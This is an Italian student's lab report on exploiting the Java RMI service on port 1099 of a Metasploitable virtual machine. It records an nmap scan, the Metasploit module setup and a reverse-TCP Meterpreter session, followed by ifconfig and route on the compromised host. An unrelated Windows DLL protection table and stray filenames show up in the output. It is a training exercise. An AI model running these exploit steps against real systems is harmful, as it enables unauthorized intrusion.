



Riccardo Agostino
Monti

S7 WEEK-END VULNERABILITÀ 1099 - JAVA RMI

INDICE

- *Scopo del Test*
- *Configurazione di Rete*
- *Enumerazione Servizi Attivi*
- *Ricerca Dell' Exploit*
- *Setup Exploit*
- *Utilizzo Exploit*
- *Raccolta Informazioni*



Scopo del test

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Ci viene richiesto di utilizzare la vulnerabilità per ottenere una sessione di Meterpreter sulla macchina remota.

Ci viene inoltre chiesto di raccogliere le informazioni sulla configurazione di rete e sulla tabella di routing della macchina vittima.

Path	SafeSEH	ASLR	NXCompat	OS DLL	Version
\\C:\Windows\Files\Aud	True	False	False	1.0.0-[ISDL]	-1.0-
\\C:\Windows\	True	False	False	6.00.2900.	6.00.2900.
\\C:\Windows\	True	False	True	5.1.2600.55	5.1.2600.55
\\C:\Windows\	True	False	True	8.00.6001.187	8.00.6001.187
\\C:\Windows\	True	False	False	1.2.12.0-[ISDL]	1.2.12.0-[ISDL]
\\C:\Windows\	True	False	False	5.1.2600.5512-[N	5.1.2600.5512-[N
\\C:\Windows\	True	False	True	5.1.2600.5512-[D	5.1.2600.5512-[D
\\C:\Windows\	True	False	True	5.1.2600.5512-[D	5.1.2600.5512-[D
\\C:\Windows\	True	False	False	5.1.2600.5512-[I	5.1.2600.5512-[I
\\C:\Windows\	True	False	True	1.0.0.402-[SysInfo.d	1.0.0.402-[SysInfo.d
\\C:\Windows\	True	False	False	7.0.2600.5512-[msvcrt.d	7.0.2600.5512-[msvcrt.d
\\C:\Windows\	True	False	True	0.8.22.5506-[AudioCoder.e	0.8.22.5506-[AudioCoder.e
\\C:\Windows\	True	False	False	5.1.2600.5512-[RPCRT4.d	5.1.2600.5512-[RPCRT4.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[ntdll.d	5.1.2600.5512-[ntdll.d
\\C:\Windows\	True	False	False	-1.0-[libxml2.dll]-[C:\P	-1.0-[libxml2.dll]-[C:\P
\\C:\Windows\	True	False	True	5.1.2600.5512-[wshtcpip.d	5.1.2600.5512-[wshtcpip.d
\\C:\Windows\	True	False	False	8.00.6001.18702-[ieframe.d	8.00.6001.18702-[ieframe.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[sensapi.d	5.1.2600.5512-[sensapi.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[RASAPI32.d	5.1.2600.5512-[RASAPI32.d
\\C:\Windows\	True	False	True	8.00.6001.18702-[lertutil.d	8.00.6001.18702-[lertutil.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[IMAGEHELP.d	5.1.2600.5512-[IMAGEHELP.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[rasadhlp.d	5.1.2600.5512-[rasadhlp.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[Secur32.d	5.1.2600.5512-[Secur32.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[WSOCK32.d	5.1.2600.5512-[WSOCK32.d
\\C:\Windows\	True	False	True	6.00.2900.5512-[shdocvw.d	6.00.2900.5512-[shdocvw.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[WS2HELP.d	5.1.2600.5512-[WS2HELP.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[ole32.d	5.1.2600.5512-[ole32.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[IMM32.DLL]-[C:\WINDO	5.1.2600.5512-[IMM32.DLL]-[C:\WINDO
\\C:\Windows\	True	False	True	5.1.2600.5512-[Inetcfg.d	5.1.2600.5512-[Inetcfg.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[USER32.d	5.1.2600.5512-[USER32.d
\\C:\Windows\	True	False	False	1.13-[libiconv-2.dll]-[C:\P	1.13-[libiconv-2.dll]-[C:\P
\\C:\Windows\	True	False	True	5.1.2600.5512-[CRYPTUI.d	5.1.2600.5512-[CRYPTUI.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[Irtutils.d	5.1.2600.5512-[Irtutils.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[IPHLPAPI.DLL]-[C:\WINDO	5.1.2600.5512-[IPHLPAPI.DLL]-[C:\WINDO
\\C:\Windows\	True	False	True	5.1.2600.5512-[WINTRUST.d	5.1.2600.5512-[WINTRUST.d
\\C:\Windows\	True	False	True	2001.12.4414.700-[COMRes.d	2001.12.4414.700-[COMRes.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[OLEAUT32.d	5.1.2600.5512-[OLEAUT32.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[rasman.d	5.1.2600.5512-[rasman.d
\\C:\Windows\	True	False	True	6.00.2900.5512-[SHELL32.d	6.00.2900.5512-[SHELL32.d
\\C:\Windows\	True	False	False	-1.0-[mcres.dll]-[C:\Program	-1.0-[mcres.dll]-[C:\Program
\\C:\Windows\	True	False	True	5.1.2600.5512-[DNSAPI.d	5.1.2600.5512-[DNSAPI.d
\\C:\Windows\	True	False	True	2001.12.4414.700-[CLBCATQ.DLL]-[C:\WINDO	2001.12.4414.700-[CLBCATQ.DLL]-[C:\WINDO
\\C:\Windows\	True	False	True	6.0-[comctl32.dll]-[C:\WINDOWS\WinSxS\	6.0-[comctl32.dll]-[C:\WINDOWS\WinSxS\
\\C:\Windows\	True	False	True	5.1.2600.5512-[MSACM32.d	5.1.2600.5512-[MSACM32.d
\\C:\Windows\	True	False	False	1.1.0.0-[dsp_chmx.d	1.1.0.0-[dsp_chmx.d
\\C:\Windows\	True	False	True	8.00.6001.18702-[WININET.d	8.00.6001.18702-[WININET.d
\\C:\Windows\	True	False	True	6.00.2900.5512-[SHLWAPI.d	6.00.2900.5512-[SHLWAPI.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[AVIFIL32.d	5.1.2600.5512-[AVIFIL32.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[Msctfime.ime]-[C:\WINDO	5.1.2600.5512-[Msctfime.ime]-[C:\WINDO
\\C:\Windows\	True	False	True	5.1.2600.5512-[MSCTF.d	5.1.2600.5512-[MSCTF.d
\\C:\Windows\	True	False	False	-1.0-[dsp_zsc.dll]-[C:\Program	-1.0-[dsp_zsc.dll]-[C:\Program
\\C:\Windows\	True	False	True	5.8.2-[COMCTL32.dll]-[C:\WINDOWS\system	5.8.2-[COMCTL32.dll]-[C:\WINDOWS\system
\\C:\Windows\	True	False	True	5.1.2600.5512-[USERENV.d	5.1.2600.5512-[USERENV.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[WINMM.d	5.1.2600.5512-[WINMM.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[kernel32.d	5.1.2600.5512-[kernel32.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[GDI32.d	5.1.2600.5512-[GDI32.d
\\C:\Windows\	True	False	False	-1.0-[Imccommon.dll]-[C:\Program	-1.0-[Imccommon.dll]-[C:\Program
\\C:\Windows\	True	False	True	6.00.2900.5512-[uxtheme.d	6.00.2900.5512-[uxtheme.d
\\C:\Windows\	True	False	False	-1.0-[jpeg.dll]-[C:\Program	-1.0-[jpeg.dll]-[C:\Program
\\C:\Windows\	True	False	True	5.1.2600.5512-[WLDAP32.d	5.1.2600.5512-[WLDAP32.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[msv1.0.d	5.1.2600.5512-[msv1.0.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[VERSION.d	5.1.2600.5512-[VERSION.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[ADVAPI32.d	5.1.2600.5512-[ADVAPI32.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[PSAPI.DLL]-[C:\WINDO	5.1.2600.5512-[PSAPI.DLL]-[C:\WINDO
\\C:\Windows\	True	False	True	5.1.2600.5512-[WS2_32.d	5.1.2600.5512-[WS2_32.d
\\C:\Windows\	True	False	True	5.1.2600.5512-[mswsock.d	5.1.2600.5512-[mswsock.d
\\C:\Windows\	True	False	True	6.0.5441.0-[Normaliz.d	6.0.5441.0-[Normaliz.d
\\C:\Windows\	True	False	False	5.1.2600.5512-[TAPI32.d	5.1.2600.5512-[TAPI32.d

Configurazione di rete:

Prima di eseguire il nostro test ci viene richiesto di modificare gli indirizzi IP delle due macchine del laboratorio.

Il nuovi ip sono:

- Kali Linux: 192.168.11.111
- Metasploitable: 192.168.11.112

La configurazione è visibile nelle immagini a destra.

```
GNU nano 7.2          /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

```
[ Bad lock file is ignored: /etc/network/.interfaces.swp ]
^G Help ^O Write Out ^W Where Is ^K Cut ^T Execute ^C Lo
^X Exit ^R Read File ^\ Replace ^U Paste ^J Justify ^/ Go
```

```
GNU nano 2.0.7          File: /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1
```

```
[ Read 16 lines ]
^G Get Help ^O WriteOut ^R Read File ^Y Prev Page ^K Cut Text ^C Cu
^X Exit      ^J Justify   ^W Where Is ^V Next Page ^U UnCut Text ^I To
```

Configurazione di rete (2):

A questo punto effettuiamo un ping bilaterale per assicurarci che le due macchine comunichino tra di loro.

```
(kali㉿kali) - [~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=2.53 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.913 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=22.6 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=8.83 ms
^C
--- 192.168.11.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3136ms
rtt min/avg/max/mdev = 0.913/8.706/22.555/8.525 ms

msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=4.17 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.922 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.894 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.944 ms

--- 192.168.11.111 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.894/1.733/4.173/1.409 ms
```

Enumerazione dei servizi attivi.

Prima di procedere con l'utilizzo dell'exploit eseguiamo una scansione NMAP per verificare le porte e i servizi attivi sulla macchina Metasploitable così da verificare che la vulnerabilità **1099-Java RMI** sia utilizzabile.

Utilizziamo quindi il comando

nmap -sV -T5 -p- 192.168.11.112 per cercare tutte le porte aperte sulla macchina Metasploitable, nel nostro caso possiamo utilizzare lo switch -T5 che indica la velocità della scansione perché non ci importa di essere scoperti. Vediamo quindi che la porta 1099 è effettivamente aperta e quindi vulnerabile..

```
(kali㉿kali)-[~/Desktop] lessus-10.6
└─$ nmap -sV -T5 -p- 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-19 08:30 GMT
Warning: 192.168.11.112 giving up on port because retransmission cap hit (2).
Stats: 0:03:06 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 70.52% done; ETC: 08:34 (0:01:12 remaining)
Nmap scan report for 192.168.11.112
Host is up (0.053s latency).

Not shown: 46265 closed tcp ports (conn-refused), 19246 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smptd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login?
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distcc v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/druby)
46433/tcp open  mountd      1-3 (RPC #100005)
50802/tcp open  status       1 (RPC #100024)
58717/tcp open  nlockmgr    1-4 (RPC #100021)

Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 332.07 seconds
```

Ricerca dell' Exploit

Verificata l'apertura della porta 1099 possiamo utilizzare il comando **msfconsole** per entrare nel framework metasploit e successivamente digitare **search java_rmi** per la ricerca dell'exploit adatto, nel nostro caso utilizzeremo l'exploit avente patch: **exploit/multi/misc/java_rmi_server** e lo selezioniamo utilizzando il comando **use exploit/multi/misc/java_rmi_server**

```
msf6 > search java_rmi
Matching Modules
=====
#  Name
-  -----
  0 auxiliary/gather/java_rmi_registry
Enumeration
  1 exploit/multi/misc/java_rmi_server
    Java RMI Server Insecure Default Configuration Java Code Execution
  2 auxiliary/scanner/misc/java_rmi_server
    Java RMI Server Insecure Endpoint Code Execution Scanner
  3 exploit/multi/browser/java_rmi_connection_impl
    Java RMIClassLoader Privilege Escalation

      Disclosure Date  Rank   Check  Description
      -----          ---   ----  -----
      normal          normal  No     Java RMI Registry Interfaces
      2011-10-15     excellent Yes   Java RMI Server Insecure Default Configuration Java Code Execution
      2011-10-15     normal   No     Java RMI Server Insecure Endpoint Code Execution Scanner
      2010-03-31     excellent No    Java RMIClassLoader Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server
      use exploit/multi/misc/java_jdwp_debugger  use exploit/multi/misc/java_jmx_server      use exploit/multi/misc/java_rmi_server
msf6 > use exploit/multi/misc/java_rmi_server
```

Setup Exploit

Una volta selezionato il nostro Exploit possiamo procedere alla configurazione.

Digitiamo quindi **show options** per verificare quali sono i settaggi richiesti mancanti. Da output otteniamo che prima di lanciare l'exploit dobbiamo settare RHOSTS che corrisponde all' IP della macchina attaccata, nel nostro caso 192.168.11.112. Digitiamo quindi **set rhosts 192.168.11.112**

```
msf6 exploit(multi/misc/java_rmi_server) > show options
  Python      4.txt
Module options (exploit/multi/misc/java_rmi_server):
Name          Current Setting  Required  Description
----          -----          -----  -----
HTTPDELAY     10             yes       Time that the HTTP Server will wait for the payload request
RHOSTS        [New Folder]    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         1099            yes       The target port (TCP)
SRVHOST       0.0.0.0         yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT       8080            yes       The local port to listen on.
SSLsus        false           no        Negotiate SSL for incoming connections
SSLCert       Path to a custom SSL certificate (default is randomly generated)
URIPATH       Path to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
shell3.php    shell2.php
Name          Current Setting  Required  Description
----          -----          -----  -----
LHOST         192.168.11.111   yes       The listen address (an interface may be specified)
LPORT         4444            yes       The listen port

Exploit target:
Id  Name
--  --
0   Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
```

Utilizzo Exploit

Dopo aver finito il setup digitiamo **exploit** sul terminale per eseguirlo.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/loewGSq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:36040) at 2024-01-19 08:38:46 +0000
```

Bene! Siamo dentro!

Raccolta Informazioni 1

Dopo essere entrati, è arrivato il momento di carpire informazioni, le prime informazioni che cerchiamo solo le configurazioni di rete della macchina attaccata, per visionarle, digitiamo **ifconfig**.

Il comando ci restituisce un interfaccio lo (local) che ha indirizzo 127.0.0.1 e un interfaccia eth0 (ethernet 0) con ip 192.168.11.112

```
meterpreter > ifconfig

Interface 1
=====
Name: lo - lo
Hardware MAC: 00:00:00:00:00:00
IPv4 Address: 127.0.0.1
IPv4 Netmask: 255.0.0.0
IPv6 Address: ::1
IPv6 Netmask: ::

Interface 2
=====
Name: eth0 - eth0
Hardware MAC: 00:00:00:00:00:00
IPv4 Address: 192.168.11.112
IPv4 Netmask: 255.255.255.0
IPv6 Address: fe80::a00:27ff:fe33:971e
IPv6 Netmask: ::
```

Raccolta Informazioni 2

Bene, non resta che lanciare il comando **route** per visualizzare la tabella di routing della macchina attaccata.

Ci vengono quindi stampate 2 route.

La prima verso la rete 127.0.0.1 (che abbiamo visto prima essere localhost) e la seconda verso 192.168.11.112.

```
meterpreter > route
  shell.php

IPv4 network routes
=====
Subnet          Netmask        Gateway    Metric  Interface
-----          -----        -----      -----  -----
127.0.0.1      255.0.0.0    0.0.0.0   0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0   0.0.0.0

IPv6 network routes
=====
Subnet          Netmask        Gateway    Metric  Interface
-----          -----        -----      -----  -----
::1             ::            ::         ::       ::
```